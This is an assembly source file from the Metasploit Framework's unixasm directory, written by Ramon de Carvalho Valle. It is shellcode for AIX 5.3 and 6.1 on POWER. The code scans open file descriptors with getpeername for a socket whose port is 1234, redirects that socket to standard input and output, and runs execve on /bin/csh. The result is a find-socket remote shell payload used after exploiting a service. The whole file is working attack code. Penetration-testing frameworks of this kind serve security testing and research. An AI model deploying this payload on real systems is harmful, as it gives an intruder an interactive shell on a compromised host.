metasploit-framework/external/source/unixasm/aix-power-fndsockcode.S

126 lines
2.7 KiB
ArmAsm

/*
* aix-power-fndsockcode.S
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
/*
* Supported AIX versions:
*
* -DAIX614 AIX Version 6.1.4
* -DAIX613 AIX Version 6.1.3
* -DAIX612 AIX Version 6.1.2
* -DAIX611 AIX Version 6.1.1
* -DAIX5310 AIX Version 5.3.10
* -DAIX539 AIX Version 5.3.9
* -DAIX538 AIX Version 5.3.8
* -DAIX537 AIX Version 5.3.7
*
*/
#include "aix-power.h"
.globl .main
.csect .text[PR]
.main:
syscallcode:
xor. %r31,%r31,%r31
bnel syscallcode
mflr %r30
cal %r30,511(%r30)
cal %r30,-511+28(%r30)
mtctr %r30
bctr
crorc %cr6,%cr6,%cr6
.long 0x44ffff02
cal %r30,-8(%r30)
fndsockcode:
lil %r29,__CAL
# getpeername
stu %r31,-4(%r1)
mr %r28,%r1
cal %r27,-__CAL+44(%r29)
stu %r27,-4(%r1)
mr %r27,%r1
0:
cal %r31,511(%r31)
cal %r31,-511+1(%r31)
mr %r5,%r27
mr %r4,%r28
mr %r3,%r31
cal %r2,__NC_getpeername(%r29)
mtctr %r30
bctrl
cal %r26,511(%r28)
lhz %r26,-511+2(%r26)
cmpli 0,%r26,1234
bne 0b
# close
cal %r25,-__CAL+2(%r29)
1:
mr %r3,%r25
cal %r2,__NC_close(%r29)
mtctr %r30
bctrl
# kfcntl
mr %r5,%r25
xor %r4,%r4,%r4
mr %r3,%r31
cal %r2,__NC_kfcntl(%r29)
mtctr %r30
bctrl
ai. %r25,%r25,-1
bge 1b
shellcode:
# lil %r29,__CAL
xor. %r5,%r5,%r5
bnel shellcode
# mflr %r30
# cal %r30,511(%r30)
# cal %r3,-511+40(%r30)
# stb %r5,-511+48(%r30)
mflr %r24
cal %r24,511(%r24)
cal %r3,-511+40(%r24)
stb %r5,-511+48(%r24)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
cal %r2,__NC_execve(%r29)
# crorc %cr6,%cr6,%cr6
# .long 0x44ffff02
mtctr %r30
bctrl
.asciz "/bin/csh"